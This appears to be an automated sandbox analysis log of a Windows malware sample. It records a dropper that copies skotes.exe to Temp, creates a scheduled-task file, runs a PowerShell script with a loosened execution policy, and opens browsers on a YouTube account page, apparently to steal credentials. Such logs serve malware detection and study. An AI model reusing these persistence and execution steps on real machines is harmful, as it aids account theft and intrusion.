Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50103 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 50115 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048

Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.5:49795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.5:49819 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:49981 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:49985 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50058 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50095 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50094 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:

Source: C:\Program Files\Mozilla Firefox\firefox.exe	Code function: 26_2_000002B9C2C25877 NtQuerySystemInformation,		26_2_000002B9C2C25877
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Code function: 26_2_000002B9C2C447B2 NtQuerySystemInformation,		26_2_000002B9C2C447B2

Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\Tasks\skotes.job			Jump to behavior
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00ECE530	6_2_00ECE530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00F078BB	6_2_00F078BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00F08860	6_2_00F08860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00F07049	6_2_00F07049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00EC4DE0	6_2_00EC4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00F031A8	6_2_00F031A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00F02D10	6_2_00F02D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00F0779B	6_2_00F0779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00EF7F36	6_2_00EF7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00EC4B30	6_2_00EC4B30
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Code function: 26_2_000002B9C2C25877	26_2_000002B9C2C25877
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Code function: 26_2_000002B9C2C447B2	26_2_000002B9C2C447B2
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Code function: 26_2_000002B9C2C44EDC	26_2_000002B9C2C44EDC
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Code function: 26_2_000002B9C2C447F2	26_2_000002B9C2C447F2

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9983289339237057
Source: file.exe	Static PE information: Section: dkmnrssd ZLIB complexity 0.9946245387969589
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9983289339237057
Source: skotes.exe.0.dr	Static PE information: Section: dkmnrssd ZLIB complexity 0.9946245387969589

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@103/297@58/27

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\KQGBYWk[1].ps1

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6552:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: firefox.exe, 00000010.00000002.3336939375.000001A8B740D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3327834513.000001A8B6A50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT * FROM events WHERE timestamp BETWEEN date(:dateFrom) AND date(:dateTo);
Source: firefox.exe, 00000010.00000002.3340745234.000001A8B7C43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3320702661.000001A8B6190000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT sum(count) FROM events;
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B33DD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT timestamp FROM events ORDER BY timestamp ASC LIMIT 1;
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B33DD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: UPDATE events SET count = count + 1 WHERE id = :id;

Source: file.exe

ReversingLabs: Detection: 55%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1008615041\KQGBYWk.ps1"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://www.youtube.com/account
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2160 --field-trial-handle=1896,i,6279673356786267124,1049991761834270204,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2224 --field-trial-handle=2096,i,9265304522972539897,9185506368956134932,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate https://www.youtube.com/account
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2376 --field-trial-handle=2220,i,11003867932119909055,5800491928789233358,262144 /prefetch:3
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2228 -parentBuildID 20230927232528 -prefsHandle 2152 -prefMapHandle 2132 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a3c6f543-2f64-46ba-bc00-280bf6150280} 2928 "\\.\pipe\gecko-crash-server-pipe.2928" 1a8a5f6cf10 socket
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6864 --field-trial-handle=2220,i,11003867932119909055,5800491928789233358,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6896 --field-trial-handle=2220,i,11003867932119909055,5800491928789233358,262144 /prefetch:8
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1136 -parentBuildID 20230927232528 -prefsHandle 4464 -prefMapHandle 4460 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {28e04a16-f2f3-4c95-9817-ee287afde24a} 2928 "\\.\pipe\gecko-crash-server-pipe.2928" 1a8b8c3fb10 rdd
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-GB --service-sandbox-type=audio --mojo-platform-channel-handle=6812 --field-trial-handle=2220,i,11003867932119909055,5800491928789233358,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7660 --field-trial-handle=2220,i,11003867932119909055,5800491928789233358,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=price_comparison_service.mojom.DataProcessor --lang=en-GB --service-sandbox-type=entity_extraction --mojo-platform-channel-handle=7708 --field-trial-handle=2220,i,11003867932119909055,5800491928789233358,262144 /prefetch:8
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3164 -parentBuildID 20230927232528 -sandboxingKind 0 -prefsHandle 5300 -prefMapHandle 3188 -prefsLen 33119 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f24f9574-f2ff-4886-877e-c3019b1407de} 2928 "\\.\pipe\gecko-crash-server-pipe.2928" 1a8b74c0910 utility
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=4112 --field-trial-handle=1896,i,6279673356786267124,1049991761834270204,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4504 --field-trial-handle=1896,i,6279673356786267124,1049991761834270204,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1008615041\KQGBYWk.ps1"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://www.youtube.com/account	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2160 --field-trial-handle=1896,i,6279673356786267124,1049991761834270204,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=4112 --field-trial-handle=1896,i,6279673356786267124,1049991761834270204,262144 /prefetch:8	Jump to behavior
